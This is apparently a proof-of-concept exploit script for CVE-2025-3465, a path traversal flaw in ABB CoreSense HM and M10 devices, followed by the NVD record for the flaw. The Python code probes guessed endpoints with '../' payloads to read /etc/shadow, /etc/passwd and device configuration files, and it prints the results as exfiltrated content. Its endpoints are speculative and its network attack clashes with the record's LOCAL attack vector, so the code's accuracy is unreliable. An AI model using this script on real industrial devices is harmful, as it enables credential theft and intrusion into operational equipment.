CVE-2025-3465

# CVE-2025-3465 - ABB CoreSense Path Traversal PoC # Path traversal exploit for ABB CoreSense HM (<=2.3.1) and M10 (<=1.4.1.12) import requests TARGET_HOST = "192.168.1.100" # Target ABB CoreSense device IP TARGET_PORT = 80 def exploit_path_traversal(target_path): """ Exploit path traversal to read arbitrary files on ABB CoreSense devices. The vulnerability allows bypassing directory restrictions using ../ sequences. """ base_url = f"http://{TARGET_HOST}:{TARGET_PORT}" # Construct traversal payload to escape restricted directory traversal_payload = target_path.replace("../", "../../") # Attempt to access files via the vulnerable endpoint endpoints = [ f"/api/v1/files?path={traversal_payload}", f"/cgi-bin/download?file={traversal_payload}", f"/diagnostics/log?file={traversal_payload}", ] for endpoint in endpoints: try: response = requests.get(base_url + endpoint, timeout=10) if response.status_code == 200 and response.text: print(f"[+] Successfully accessed: {target_path}") print(f"[+] Response:\n{response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": # Target sensitive files on ABB CoreSense device target_files = [ "../../../etc/passwd", "../../../etc/shadow", "../../../opt/coresense/config/system.cfg", "../../../var/log/coresense/system.log", ] for target in target_files: result = exploit_path_traversal(target) if result: print(f"\n{'='*60}") print(f"Exfiltrated content from {target}:") print(result) print('='*60)

{"cve": {"id": "CVE-2025-3465", "sourceIdentifier": "[email protected]", "published": "2025-10-20T18:15:38.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in ABB CoreSense™ HM, ABB CoreSense™ M10.This issue affects CoreSense™ HM: through 2.3.1; CoreSense™ M10: through 1.4.1.12."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=3KXG200000R4801&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}